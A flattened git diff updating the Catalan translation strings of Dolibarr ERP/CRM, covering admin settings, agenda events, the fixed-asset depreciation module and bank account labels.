      Això pot millorar el rendiment si teniu un gran nombre de projectes, però és menys pràctic. ##### ECM (GED) ##### ##### Fiscal Year ##### AccountingPeriods=Períodes comptables @@ -1908,7 +1935,7 @@ SalariesSetup=Configuració del mòdul de salaris SortOrder=Ordre de classificació Format=Format TypePaymentDesc=0:Forma de pagament a client, 1:Forma de pagament a proveïdor, 2:Mateixa forma de pagament per clients i proveïdors -IncludePath=Incloure ruta (que es defineix a la variable %s) +IncludePath=Inclou el camí (definit en la variable %s) ExpenseReportsSetup=Configuració del mòdul Informe de Despeses TemplatePDFExpenseReports=Plantilles de documents per a generar un document d’informe de despeses ExpenseReportsRulesSetup=Configurar mòdul Informes de despeses - Regles @@ -1926,6 +1953,7 @@ BackupDumpWizard=Assistent per a crear el fitxer d'exportació de la base de dad BackupZipWizard=Assistent per a crear el directori d’arxiu de documents SomethingMakeInstallFromWebNotPossible=No és possible la instal·lació de mòduls externs des de la interfície web per la següent raó: SomethingMakeInstallFromWebNotPossible2=Per aquest motiu, el procés d'actualització descrit aquí és un procés manual que només un usuari privilegiat pot realitzar. +InstallModuleFromWebHasBeenDisabledContactUs=La instal·lació o desenvolupament de mòduls externs o llocs web dinàmics, des de l'aplicació, està actualment bloquejat per motius de seguretat. Si us plau, poseu-vos en contacte amb nosaltres si necessiteu habilitar aquesta funció. InstallModuleFromWebHasBeenDisabledByFile=El vostre administrador ha desactivat la instal·lació del mòdul extern des de l'aplicació. Heu de demanar-li que suprimeixi el fitxer %s per a permetre aquesta funció. ConfFileMustContainCustom=Per a instal·lar o crear un mòdul extern des de l'aplicació es necessita desar els fitxers del mòdul en el directori %s. Per a permetre a Dolibarr el processament d'aquest directori, has de configurar el teu conf/conf.php afegint aquestes 2 línies:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Remarca línies de la taula quan el ratolí passi per sobre @@ -1992,7 +2020,7 @@ YouUseLastStableVersion=Estàs utilitzant l'última versió estable TitleExampleForMajorRelease=Exemple de missatge que podeu utilitzar per a anunciar aquesta actualització de versió (no dubteu a utilitzar-lo als vostres llocs web) TitleExampleForMaintenanceRelease=Exemple de missatge que podeu utilitzar per a anunciar aquesta versió de manteniment (no dubteu a utilitzar-lo als vostres llocs web) ExampleOfNewsMessageForMajorRelease=Disponible ERP/CRM Dolibarr %s. La versió %s és una versió major amb un munt de noves característiques, tant per a usuaris com per a desenvolupadors. Es pot descarregar des de la secció de descàrregues del portal https://www.dolibarr.org (subdirectori versions estables). Podeu llegir ChangeLog per a veure la llista completa dels canvis. -ExampleOfNewsMessageForMaintenanceRelease=Dolibarr ERP & CRM %s està disponible. La versió %s és una versió de manteniment, de manera que només conté correccions d'errors. Us recomanem que tots els usuaris actualitzeu aquesta versió. Un llançament de manteniment no introdueix novetats ni canvis a la base de dades. Podeu descarregar-lo des de l'àrea de descàrrega del portal https://www.dolibarr.org (subdirectori de les versions estables). Podeu llegir el ChangeLog per a obtenir una llista completa dels canvis. +ExampleOfNewsMessageForMaintenanceRelease=Dolibarr ERP & CRM %s està disponible. La versió %s és una versió de manteniment, de manera que només conté correccions d'errors. Recomanem a tots els usuaris que actualitzin a aquesta versió. Una versió de manteniment no presenta noves funcions ni canvis a la base de dades. Podeu descarregar-lo des de l'àrea de descàrregues del portal https://www.dolibarr.org (subdirectori Versions estables). Podeu llegir el registre de canvis ChangeLog per a obtenir la llista completa de canvis. MultiPriceRuleDesc=Quan l'opció "Diversos nivells de preus per producte/servei" està activada, podeu definir preus diferents (un preu per nivell) per a cada producte. Per a estalviar-vos temps, aquí podeu introduir una regla per a calcular automàticament un preu per a cada nivell en funció del preu del primer nivell, de manera que només haureu d'introduir un preu per al primer nivell per a cada producte. Aquesta pàgina està dissenyada per a estalviar-vos temps, però només és útil si els preus de cada nivell són relatius al primer nivell. Podeu ignorar aquesta pàgina en la majoria dels casos. ModelModulesProduct=Plantilles per documents de productes WarehouseModelModules=Plantilles per a documents de magatzems @@ -2023,13 +2051,13 @@ activateModuleDependNotSatisfied=El mòdul "%s" depèn del mòdul "%s", que falt CommandIsNotInsideAllowedCommands=L'ordre que intenteu executar no es troba a la llista de comandaments permesos definits al paràmetre $ dolibarr_main_restrict_os_commands al fitxer conf.php . LandingPage=Pàgina de destinació principal SamePriceAlsoForSharedCompanies=Si utilitzeu un mòdul multicompany, amb l'opció "Preu únic", el preu també serà el mateix per a totes les empreses si es comparteixen productes entre entorns -ModuleEnabledAdminMustCheckRights=S'ha activat el mòdul. Els permisos per als mòdul(s) activats es donen només als usuaris administradors. Podria ser necessari concedir permisos a altres usuaris o grups de forma manual si és necessari. +ModuleEnabledAdminMustCheckRights=El mòdul s'ha activat. Els permisos per als mòduls activats només es donen als usuaris administradors. És possible que hàgiu de concedir permisos a altres usuaris o grups manualment si cal. UserHasNoPermissions=Aquest usuari no té permisos definits TypeCdr=Utilitzeu "Cap" si la data del termini de pagament és la data de la factura més un delta en dies (el delta és el camp "%s")
      Utilitzeu "Al final del mes", si, després del delta, s'ha d'augmentar la data per a arribar al final del mes (+ opcional "%s" en dies)
      Utilitzeu "Actual/Següent" perquè la data del termini de pagament sigui la primera N del mes després del delta (el delta és el camp "%s", N s'emmagatzema al camp "%s"). BaseCurrency=Moneda de referència de l'empresa (anar a la configuració de l'empresa per a canviar-ho) WarningNoteModuleInvoiceForFrenchLaw=Aquest mòdul %s compleix les lleis franceses (Loi Finances 2016). WarningNoteModulePOSForFrenchLaw=Aquest mòdul %s compleix les lleis franceses (Loi Finances 2016) perquè el mòdul Logs no reversibles s'activa automàticament. -WarningInstallationMayBecomeNotCompliantWithLaw=Esteu intentant instal·lar el mòdul %s que és un mòdul extern. L'activació d'un mòdul extern significa que confia en l'editor d'aquest mòdul i que està segur que aquest mòdul no afectarà negativament el comportament de la vostra aplicació i compleix les lleis del vostre país (%s). Si el mòdul introdueix una característica il·legal, es fa responsable de l'ús del programari il·legal. +WarningInstallationMayBecomeNotCompliantWithLaw=Esteu intentant instal·lar el mòdul %s que és un mòdul extern. L'activació d'un mòdul extern significa que confieu en l'editor d'aquest mòdul i que esteu segur que aquest mòdul no afecta negativament el comportament de la vostra aplicació i que compleix les lleis del vostre país (%s). Si el mòdul presenta una característica il·legal, vostè es fa responsable de l'ús de programari il·legal. MAIN_PDF_MARGIN_LEFT=Marge esquerre al PDF MAIN_PDF_MARGIN_RIGHT=Marge dret al PDF MAIN_PDF_MARGIN_TOP=Marge superior al PDF @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Elimina els caràcters especials COMPANY_AQUARIUM_CLEAN_REGEX=Filtre Regex per a netejar el valor (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Filtre Regex al valor net (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=No es permet la duplicació +RemoveSpecialWords=Netegeu certes paraules en generar subcomptes per a clients o proveïdors +RemoveSpecialWordsHelp=Especifiqueu les paraules a netejar abans de calcular el compte de client o proveïdor. Utilitzeu un ";" entre cada paraula GDPRContact=Oficial de protecció de dades (PDO, privadesa de dades o contacte amb GDPR) GDPRContactDesc=Si emmagatzemeu dades personals al vostre Sistema d'Informació, podeu anomenar aquí el contacte responsable del Reglament General de Protecció de Dades HelpOnTooltip=Ajuda a mostrar el text a la descripció d'informació @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Directori de destinació de la bústia EmailcollectorOperations=Operacions a fer per recol·lector EmailcollectorOperationsDesc=Les operacions s’executen de dalt a baix MaxEmailCollectPerCollect=Nombre màxim de correus electrònics recopilats per recollida +TestCollectNow=Prova de recollida CollectNow=Recolliu ara ConfirmCloneEmailCollector=Esteu segur que voleu clonar el col·lector de correu electrònic %s? DateLastCollectResult=Data de l'últim intent de recollida @@ -2109,6 +2140,7 @@ CodeLastResult=Últim codi retornat NbOfEmailsInInbox=Nombre de correus electrònics en el directori font LoadThirdPartyFromName=Carregueu la cerca de tercers al %s (només carrega) LoadThirdPartyFromNameOrCreate=Carregueu la cerca de tercers a %s (crear si no es troba) +LoadContactFromEmailOrCreate=Carregueu el contacte cercant a %s (creeu-lo si no es troba) AttachJoinedDocumentsToObject=Deseu els fitxers adjunts als documents d'objectes si es troba una referència d'un objecte al tema del correu electrònic. WithDolTrackingID=Missatge d'una conversa iniciada per un primer correu electrònic enviat des de Dolibarr WithoutDolTrackingID=Missatge d'una conversa iniciada per un primer correu electrònic NO enviat des de Dolibarr @@ -2122,7 +2154,7 @@ OperationParamDesc=Definiu les regles que s'han d'utilitzar per a extreure algun OpeningHours=Horari d'obertura OpeningHoursDesc=Introduïu aquí l'horari habitual d'obertura de la vostra empresa. ResourceSetup=Configuració del mòdul de recursos -UseSearchToSelectResource=Utilitza un formulari de cerca per a seleccionar un recurs (millor que una llista desplegable) +UseSearchToSelectResource=Utilitzeu un formulari de cerca per a triar un recurs (en lloc d'una llista desplegable). DisabledResourceLinkUser=Desactiva la funció per a enllaçar un recurs amb els usuaris DisabledResourceLinkContact=Desactiva la funció per a enllaçar un recurs amb els contactes EnableResourceUsedInEventCheck=Prohibir l'ús del mateix recurs al mateix temps a l'agenda @@ -2179,10 +2211,11 @@ FeatureNotAvailableWithReceptionModule=Funció no disponible quan el mòdul Rece EmailTemplate=Plantilla per correu electrònic EMailsWillHaveMessageID=Els correus electrònics tindran una etiqueta "Referències" que coincideix amb aquesta sintaxi PDF_SHOW_PROJECT=Mostra el projecte al document -ShowProjectLabel=Etiqueta del projecte +ShowProjectLabel=Nom del projecte PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Incloeu l'àlies al nom de tercers THIRDPARTY_ALIAS=Nom de tercer - Àlies de tercer ALIAS_THIRDPARTY=Àlies de tercer - Nom de tercer +PDFIn2Languages=Mostra els noms en PDF en 2 idiomes diferents PDF_USE_ALSO_LANGUAGE_CODE=Si voleu que alguns textos del vostre PDF es copiïn en 2 idiomes diferents en el mateix PDF generat, heu d’establir aquí aquest segon idioma perquè el PDF generat contingui 2 idiomes diferents en la mateixa pàgina, l’escollit en generar el PDF i aquesta (només poques plantilles de PDF admeten això). Mantingueu-lo buit per a 1 idioma per PDF. PDF_USE_A=Gerera documents PDF amb el format PDF/A en lloc del format PDF predeterminat FafaIconSocialNetworksDesc=Introduïu aquí el codi de la icona de FontAwesome. Si no sabeu què és FontAwesome, podeu utilitzar el llibre genèric d’adreces. @@ -2211,12 +2244,12 @@ MailToPartnership=Associació AGENDA_EVENT_DEFAULT_STATUS=Estat de l'esdeveniment per defecte en crear un esdeveniment des del formulari YouShouldDisablePHPFunctions=Hauríeu de desactivar les funcions PHP IfCLINotRequiredYouShouldDisablePHPFunctions=Excepte si heu d'executar ordres del sistema en codi personalitzat, hauríeu de desactivar les funcions PHP -PHPFunctionsRequiredForCLI=Per a propòsits d'intèrpret d'ordres (com ara una còpia de seguretat programada o executar un programa antivirus), heu de mantenir les funcions PHP +PHPFunctionsRequiredForCLI=Per a propòsits d'intèrpret d'ordres (com ara una còpia de seguretat de treballs programats o executar un programa antivirus), heu de mantenir les funcions PHP NoWritableFilesFoundIntoRootDir=No s'ha trobat cap fitxer ni directori d'escriptura dels programes comuns al directori arrel (Bo) RecommendedValueIs=Recomanat: %s Recommended=Recomanada NotRecommended=No es recomana -ARestrictedPath=Algun camí restringit +ARestrictedPath=Algun camí restringit per als fitxers de dades CheckForModuleUpdate=Comproveu si hi ha actualitzacions de mòduls externs CheckForModuleUpdateHelp=Aquesta acció es connectarà amb editors de mòduls externs per a comprovar si hi ha una versió nova disponible. ModuleUpdateAvailable=Hi ha disponible una actualització @@ -2264,17 +2297,17 @@ LateWarningAfter=Avís "tard" després TemplateforBusinessCards=Plantilla per a una targeta de visita de diferents mides InventorySetup= Configuració de l'inventari ExportUseLowMemoryMode=Utilitzeu un mode de memòria baixa -ExportUseLowMemoryModeHelp=Utilitzeu el mode de memòria baixa per a executar l'execució de l'abocament (la compressió es fa a través d'una canonada en lloc d'entrar a la memòria PHP). Aquest mètode no permet comprovar que el fitxer s'hagi completat i no es pot informar del missatge d'error si falla. +ExportUseLowMemoryModeHelp=Utilitzeu el mode de memòria baixa per a generar el fitxer d'abocament (la compressió es fa a través d'una canonada en lloc d'entrar a la memòria PHP). Aquest mètode no permet comprovar que el fitxer estigui complet i no es pot informar del missatge d'error si falla. Utilitzeu-lo si no teniu prou errors de memòria. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interfície per a capturar activadors de dolibarr i enviar-lo a un URL +ModuleWebhookDesc = Interfície per a capturar activadors de dolibarr i enviar dades de l'esdeveniment a un URL WebhookSetup = Configuració del webhook Settings = Configuració WebhookSetupPage = Pàgina de configuració del webhook ShowQuickAddLink=Mostra un botó per a afegir ràpidament un element al menú superior dret HashForPing=Hash utilitzat per a fer ping -ReadOnlyMode=És una instància en mode "Només lectura". +ReadOnlyMode=És una instància en mode «Només lectura». DEBUGBAR_USE_LOG_FILE=Utilitzeu el fitxer dolibarr.log per a atrapar els registres UsingLogFileShowAllRecordOfSubrequestButIsSlower=Utilitzeu el fitxer dolibarr.log per a atrapar els registres en lloc de capturar la memòria en directe. Permet capturar tots els registres en lloc de només el registre del procés actual (per tant, inclosa la de les pàgines de subsol·licituds ajax), però farà que la vostra instància sigui molt molt lenta. No es recomana. FixedOrPercent=Fixat (utilitza la paraula clau "fixat") o per cent (utilitza la paraula clau "percentatge") @@ -2288,6 +2321,8 @@ IconOnly=Només icona: només text a la informació sobre eines INVOICE_ADD_ZATCA_QR_CODE=Mostra el codi QR ZATCA a les factures INVOICE_ADD_ZATCA_QR_CODEMore=Alguns països àrabs necessiten aquest codi QR a les seves factures INVOICE_ADD_SWISS_QR_CODE=Mostra el codi QR-Bill suís a les factures +INVOICE_SHOW_SHIPPING_ADDRESS=Mostra l'adreça d'enviament +INVOICE_SHOW_SHIPPING_ADDRESSMore=Menció obligatòria per a França UrlSocialNetworksDesc=Enllaç URL de la xarxa social. Utilitzeu {socialid} per a la part variable que conté l'identificador de la xarxa social. IfThisCategoryIsChildOfAnother=Si aquesta categoria és fill d'una altra DarkThemeMode=Mode de tema fosc @@ -2307,3 +2342,37 @@ UsePassword=Utilitzeu una contrasenya UseOauth=Utilitzeu un testimoni OAUTH Images=Imatges MaxNumberOfImagesInGetPost=Nombre màxim d'imatges permeses en un camp HTML enviat en un formulari +MaxNumberOfPostOnPublicPagesByIP=Nombre màxim de publicacions a pàgines públiques amb la mateixa adreça IP en un mes +CIDLookupURL=El mòdul aporta un URL que pot utilitzar una eina externa per a obtenir el nom d'un tercer o contacte des del seu número de telèfon. L'URL a utilitzar és: +ScriptIsEmpty=El guió és buit +ShowHideTheNRequests=Mostra/amaga les sol·licituds SQL %s +DefinedAPathForAntivirusCommandIntoSetup=Definiu un camí per a un programa antivirus a %s +TriggerCodes=Esdeveniments desencadenants +TriggerCodeInfo=Introduïu aquí els codis activadors que han de generar una publicació d'una sol·licitud web (només es permet l'URL extern). Podeu introduir diversos codis d'activació separats per una coma. +EditableWhenDraftOnly=Si no està marcat, el valor només es pot modificar quan l'objecte té un estat d'esborrany +CssOnEdit=Css a les pàgines d'edició +CssOnView=Css a les pàgines de visualització +CssOnList=Css a les pàgines de llistat +HelpCssOnEditDesc=El Css utilitzat en editar el camp.
      Exemple: «minwiwdth100 maxwidth500 widthcentpercentminusx» +HelpCssOnViewDesc=El Css utilitzat en visualitzar el camp. +HelpCssOnListDesc=El Css utilitzat quan el camp es troba dins d'una taula de llista.
      Exemple: «tdoverflowmax200» +RECEPTION_PDF_HIDE_ORDERED=Amaga la quantitat demanada als documents generats per a recepcions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Mostra el preu als documents generats per a recepcions +WarningDisabled=Avís desactivat +LimitsAndMitigation=Límits d'accés i mitigació +DesktopsOnly=Només escriptoris +DesktopsAndSmartphones=Escriptoris i telèfons intel·ligents +AllowOnlineSign=Permet la signatura en línia +AllowExternalDownload=Permet la baixada externa (sense iniciar sessió, mitjançant un enllaç compartit) +DeadlineDayVATSubmission=Dia límit per a la presentació del IVA el mes següent +MaxNumberOfAttachementOnForms=Nombre màxim de fitxers units en un formulari +IfDefinedUseAValueBeetween=Si està definit, utilitzeu un valor entre %s i %s +Reload=Recarregar +ConfirmReload=Confirmeu la recàrrega del mòdul +WarningModuleHasChangedLastVersionCheckParameter=Avís: el mòdul %s ha establert un paràmetre per a comprovar la seva versió a cada accés a la pàgina. Aquesta és una pràctica dolenta i no permesa que pot fer que la pàgina per a administrar mòduls sigui inestable. Poseu-vos en contacte amb l'autor del mòdul per solucionar-ho. +WarningModuleHasChangedSecurityCsrfParameter=Avís: el mòdul %s ha desactivat la seguretat CSRF de la vostra instància. Aquesta acció és sospitosa i és possible que la vostra instal·lació ja no estigui segura. Poseu-vos en contacte amb l'autor del mòdul per a obtenir una explicació. +EMailsInGoingDesc=Els correus electrònics entrants són gestionats pel mòdul %s. Heu d'activar-lo i configurar-lo si necessiteu donar suport als correus electrònics entrants. +MAIN_IMAP_USE_PHPIMAP=Utilitzeu la biblioteca PHP-IMAP per a IMAP en comptes de l'IMAP PHP natiu. Això també permet l'ús d'una connexió OAuth2 per IMAP (també s'ha d'activar el mòdul OAuth). +MAIN_CHECKBOX_LEFT_COLUMN=Mostra la columna per a la selecció de camps i línies a l'esquerra (a la dreta per defecte) + +CSSPage=Estil CSS diff --git a/htdocs/langs/ca_ES/agenda.lang b/htdocs/langs/ca_ES/agenda.lang index 0e5ffda43e7..86236c79c19 100644 --- a/htdocs/langs/ca_ES/agenda.lang +++ b/htdocs/langs/ca_ES/agenda.lang @@ -68,6 +68,7 @@ ShipmentBackToDraftInDolibarr=Enviament %s retornat a l'estat d'esborrany ShipmentDeletedInDolibarr=Expedició %s eliminada ShipmentCanceledInDolibarr=Enviament %s cancel·lat ReceptionValidatedInDolibarr=S'ha validat la recepció %s +ReceptionDeletedInDolibarr=S'ha suprimit la recepció %s ReceptionClassifyClosedInDolibarr=Recepció %s classificada tancada OrderCreatedInDolibarr=Comanda %s creada OrderValidatedInDolibarr=Comanda %s validada @@ -78,7 +79,7 @@ OrderApprovedInDolibarr=Comanda %s aprovada OrderRefusedInDolibarr=Comanda %s rebutjada OrderBackToDraftInDolibarr=Comanda %s tornada a estat esborrany ProposalSentByEMail=Pressupost %s enviat per e-mail -ContractSentByEMail=Contracte %s enviat per correu electrònic +ContractSentByEMail=Contracte %s enviat per correu electrònic OrderSentByEMail=Comanda a proveïdor %s enviada per e-mail InvoiceSentByEMail=Factura a client %s enviada per e-mail SupplierOrderSentByEMail=Comanda de compra %s enviada per e-mail @@ -87,6 +88,7 @@ SupplierInvoiceSentByEMail=Factura de proveïdor %s enviada per e-mail ShippingSentByEMail=Enviament %s enviat per email ShippingValidated= Enviament %s validat InterventionSentByEMail=Intervenció %s enviada per e-mail +ProjectSentByEMail=Projecte %s enviat per correu electrònic ProposalDeleted=Pressupost esborrat OrderDeleted=Comanda esborrada InvoiceDeleted=Factura esborrada @@ -100,7 +102,7 @@ PRODUCT_DELETEInDolibarr=Producte %s eliminat HOLIDAY_CREATEInDolibarr=S'ha creat la sol·licitud de permís %s HOLIDAY_MODIFYInDolibarr=S'ha modificat la sol·licitud de permís %s HOLIDAY_APPROVEInDolibarr=Sol·licitud de dies lliures %s aprovada -HOLIDAY_VALIDATEInDolibarr=La sol·licitud d’excedència %s validada +HOLIDAY_VALIDATEInDolibarr=Sol·licitud de dies lliures %s validada HOLIDAY_DELETEInDolibarr=S'ha suprimit la sol·licitud de permís %s EXPENSE_REPORT_CREATEInDolibarr=Creat l'informe de despeses %s EXPENSE_REPORT_VALIDATEInDolibarr=S'ha validat l'informe de despeses %s @@ -150,7 +152,7 @@ ExtSitesEnableThisTool=Mostra calendaris externs (definit a la configuració glo ExtSitesNbOfAgenda=Nombre de calendaris AgendaExtNb=Calendari núm. %s ExtSiteUrlAgenda=URL per a accedir al fitxer .ical -ExtSiteNoLabel=Sense descripció +ExtSiteNoLabel=Sense nom VisibleTimeRange=Rang de temps visible VisibleDaysRange=Rang de dies visible AddEvent=Crear esdeveniment @@ -175,5 +177,6 @@ ReminderType=Tipus de devolució de trucada AddReminder=Crea una notificació de recordatori automàtica per a aquest esdeveniment ErrorReminderActionCommCreation=S'ha produït un error en crear la notificació de recordatori per a aquest esdeveniment BrowserPush=Notificació emergent del navegador +Reminders=Recordatoris ActiveByDefault=Habilitat per defecte Until=fins a diff --git a/htdocs/langs/ca_ES/assets.lang b/htdocs/langs/ca_ES/assets.lang index 5d9b4fd3896..a1c550c59eb 100644 --- a/htdocs/langs/ca_ES/assets.lang +++ b/htdocs/langs/ca_ES/assets.lang @@ -1,4 +1,4 @@ -# Copyright (C) 2018 Alexandre Spangaro +# Copyright (C) 2018-2022 Alexandre Spangaro # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by @@ -16,50 +16,171 @@ # # Generic # -Assets = Actius -NewAsset = Nou actiu -AccountancyCodeAsset = Codi de compte (actius) -AccountancyCodeDepreciationAsset = Codi de compte (compte d'amortització d'actius) -AccountancyCodeDepreciationExpense = Codi de compte (compte de despeses d'amortització) -NewAssetType=Tipus del nou actiu -AssetsTypeSetup=Configuració de tipus d'actius -AssetTypeModified=Tipus d'actiu modificat -AssetType=Tipus d'actiu +NewAsset=Actiu nou +AccountancyCodeAsset=Codi de compte (actius) +AccountancyCodeDepreciationAsset=Codi de compte (compte d'amortització d'actius) +AccountancyCodeDepreciationExpense=Codi de compte (compte de despeses d'amortització) AssetsLines=Actius DeleteType=Elimina -DeleteAnAssetType=Eliminar un tipus d'actiu -ConfirmDeleteAssetType=¿Està segur que vol eliminar aquest tipus d'actiu? -ShowTypeCard=Veure tipus '%s' +DeleteAnAssetType=Suprimir un model d'actiu +ConfirmDeleteAssetType=Esteu segur que voleu suprimir aquest model de recursos? +ShowTypeCard=Mostra el model '%s' # Module label 'ModuleAssetsName' -ModuleAssetsName = Actius +ModuleAssetsName=Actius # Module description 'ModuleAssetsDesc' -ModuleAssetsDesc = Descripció dels actius +ModuleAssetsDesc=Descripció dels actius # # Admin page # -AssetsSetup = Configuració dels actius -Settings = Configuració -AssetsSetupPage = Pàgina de configuració dels actius -ExtraFieldsAssetsType = Atributs complementaris (Tipus d'actiu) -AssetsType=Tipus d'actiu -AssetsTypeId=Id tipus d'actiu -AssetsTypeLabel=Etiqueta tipus d'actiu -AssetsTypes=Tipus d'actius +AssetSetup=Configuració dels actius +AssetSetupPage=Pàgina de configuració dels actius +ExtraFieldsAssetModel=Atributs complementaris (model de l'actiu) + +AssetsType=Model d'actiu +AssetsTypeId=Identificador del model d'actiu +AssetsTypeLabel=Nom del model d'actiu +AssetsTypes=Models d'actius +ASSET_ACCOUNTANCY_CATEGORY=Grup de comptabilitat de l'immobilitzat # # Menu # -MenuAssets = Actius -MenuNewAsset = Nou actiu -MenuTypeAssets = Tipus actiu -MenuListAssets = Llistat -MenuNewTypeAssets = Nou -MenuListTypeAssets = Llistat +MenuAssets=Actius +MenuNewAsset=Actiu nou +MenuAssetModels=Actius de model +MenuListAssets=Llistat +MenuNewAssetModel=Nou model d'actiu +MenuListAssetModels=Llistat # # Module # -NewAssetType=Tipus del nou actiu -NewAsset=Nou actiu +ConfirmDeleteAsset=De veritat voleu eliminar aquest recurs? + +# +# Tab +# +AssetDepreciationOptions=Opcions d'amortització +AssetAccountancyCodes=Comptes de comptabilitat +AssetDepreciation=Amortització + +# +# Asset +# +Asset=Actiu +Assets=Actius +AssetReversalAmountHT=Import de reversió (sense impostos) +AssetAcquisitionValueHT=Import de l'adquisició (sense impostos) +AssetRecoveredVAT=IVA recuperat +AssetReversalDate=Data de revocació +AssetDateAcquisition=Data d'adquisició +AssetDateStart=Data de posada en marxa +AssetAcquisitionType=Tipus d'adquisició +AssetAcquisitionTypeNew=Nou +AssetAcquisitionTypeOccasion=Usat +AssetType=Tipus d'actiu +AssetTypeIntangible=Intangible +AssetTypeTangible=Tangible +AssetTypeInProgress=En progrés +AssetTypeFinancial=Financera +AssetNotDepreciated=No s'amortitza +AssetDisposal=Disposició +AssetConfirmDisposalAsk=Esteu segur que voleu disposar de l'actiu %s ? +AssetConfirmReOpenAsk=Esteu segur que voleu reobrir l'actiu %s ? + +# +# Asset status +# +AssetInProgress=En progrés +AssetDisposed=Disposat +AssetRecorded=Comptabilitzat + +# +# Asset disposal +# +AssetDisposalDate=Data d'eliminació +AssetDisposalAmount=Valor d'eliminació +AssetDisposalType=Tipus d'eliminació +AssetDisposalDepreciated=Amortitzar l'any de la transferència +AssetDisposalSubjectToVat=Eliminació subjecta a IVA + +# +# Asset model +# +AssetModel=Model d'actiu +AssetModels=Models d'actius + +# +# Asset depreciation options +# +AssetDepreciationOptionEconomic=Depreciació econòmica +AssetDepreciationOptionAcceleratedDepreciation=Amortització accelerada (impost) +AssetDepreciationOptionDepreciationType=Tipus d'amortització +AssetDepreciationOptionDepreciationTypeLinear=Lineal +AssetDepreciationOptionDepreciationTypeDegressive=Degressiva +AssetDepreciationOptionDepreciationTypeExceptional=Excepcional +AssetDepreciationOptionDegressiveRate=Taxa decreixent +AssetDepreciationOptionAcceleratedDepreciation=Amortització accelerada (impost) +AssetDepreciationOptionDuration=Duració +AssetDepreciationOptionDurationType=Tipus de durada +AssetDepreciationOptionDurationTypeAnnual=Anual +AssetDepreciationOptionDurationTypeMonthly=Mensual +AssetDepreciationOptionDurationTypeDaily=Diàriament +AssetDepreciationOptionRate=Tarifa (%%) +AssetDepreciationOptionAmountBaseDepreciationHT=Base d'amortització (IVA no inclòs) +AssetDepreciationOptionAmountBaseDeductibleHT=Base deduïble (IVA no inclòs) +AssetDepreciationOptionTotalAmountLastDepreciationHT=Import total de l'última depreciació (IVA no inclòs) + +# +# Asset accountancy codes +# +AssetAccountancyCodeDepreciationEconomic=Depreciació econòmica +AssetAccountancyCodeAsset=Actiu +AssetAccountancyCodeDepreciationAsset=Amortització +AssetAccountancyCodeDepreciationExpense=Despesa d'amortització +AssetAccountancyCodeValueAssetSold=Valor de l'actiu alienat +AssetAccountancyCodeReceivableOnAssignment=A cobrar en disposició +AssetAccountancyCodeProceedsFromSales=Ingressos de la disposició +AssetAccountancyCodeVatCollected=IVA recaptat +AssetAccountancyCodeVatDeductible=IVA recuperat sobre actius +AssetAccountancyCodeDepreciationAcceleratedDepreciation=Amortització accelerada (impost) +AssetAccountancyCodeAcceleratedDepreciation=Compte +AssetAccountancyCodeEndowmentAcceleratedDepreciation=Despesa d'amortització +AssetAccountancyCodeProvisionAcceleratedDepreciation=Repossessió/Provisió + +# +# Asset depreciation +# +AssetBaseDepreciationHT=Base d'amortització (sense IVA) +AssetDepreciationBeginDate=Inici de l'amortització +AssetDepreciationDuration=Duració +AssetDepreciationRate=Tarifa (%%) +AssetDepreciationDate=Data d'amortització +AssetDepreciationHT=Amortització (sense IVA) +AssetCumulativeDepreciationHT=Amortització acumulada (IVA no inclòs) +AssetResidualHT=Valor residual (IVA no inclòs) +AssetDispatchedInBookkeeping=Amortització registrada +AssetFutureDepreciationLine=Depreciació futura +AssetDepreciationReversal=Reversió + +# +# Errors +# +AssetErrorAssetOrAssetModelIDNotProvide=No s'ha proporcionat l'identificador de l'actiu o el so del model +AssetErrorFetchAccountancyCodesForMode=Error en recuperar els comptes comptables per al mode d'amortització "%s" +AssetErrorDeleteAccountancyCodesForMode=Error en suprimir els comptes de comptabilitat del mode d'amortització "%s" +AssetErrorInsertAccountancyCodesForMode=Error en inserir els comptes comptables del mode d'amortització '%s' +AssetErrorFetchDepreciationOptionsForMode=Error en recuperar les opcions per al mode d'amortització "%s" +AssetErrorDeleteDepreciationOptionsForMode=Error en suprimir les opcions del mode d'amortització "%s". +AssetErrorInsertDepreciationOptionsForMode=Error en inserir les opcions del mode d'amortització "%s". +AssetErrorFetchDepreciationLines=Error en recuperar les línies d'amortització registrades +AssetErrorClearDepreciationLines=Error en depurar les línies d'amortització registrades (reversió i futur) +AssetErrorAddDepreciationLine=Error en afegir una línia d'amortització +AssetErrorCalculationDepreciationLines=Error en el càlcul de les línies d'amortització (recuperació i futur) +AssetErrorReversalDateNotProvidedForMode=La data de reversió no es proporciona per al mètode d'amortització "%s" +AssetErrorReversalDateNotGreaterThanCurrentBeginFiscalDateForMode=La data de reversió ha de ser superior o igual a l'inici de l'exercici fiscal en curs per al mètode d'amortització "%s" +AssetErrorReversalAmountNotProvidedForMode=L'import de la reversió no es proporciona per al mode d'amortització "%s". +AssetErrorFetchCumulativeDepreciation=Error en recuperar l'import de l'amortització acumulada de la línia d'amortització +AssetErrorSetLastCumulativeDepreciation=Error en registrar l'últim import de l'amortització acumulada diff --git a/htdocs/langs/ca_ES/banks.lang b/htdocs/langs/ca_ES/banks.lang index a8c84c96961..33c218e65ec 100644 --- a/htdocs/langs/ca_ES/banks.lang +++ b/htdocs/langs/ca_ES/banks.lang @@ -10,12 +10,12 @@ BankAccounts=Comptes bancaris BankAccountsAndGateways=Comptes bancaris | Passarel·les ShowAccount=Mostrar el compte AccountRef=Ref. compte financer -AccountLabel=Etiqueta compte financer +AccountLabel=Nom del compte financer CashAccount=Compte caixa/efectiu CashAccounts=Comptes caixa/efectiu CurrentAccounts=Comptes corrents SavingAccounts=Comptes d'estalvis -ErrorBankLabelAlreadyExists=Ja existeix l'etiqueta de compte financer +ErrorBankLabelAlreadyExists=El nom del compte financer ja existeix BankBalance=Saldo BankBalanceBefore=Saldo anterior BankBalanceAfter=Saldo posterior @@ -25,7 +25,7 @@ InitialBankBalance=Saldo inicial EndBankBalance=Saldo final CurrentBalance=Saldo actual FutureBalance=Saldo previst 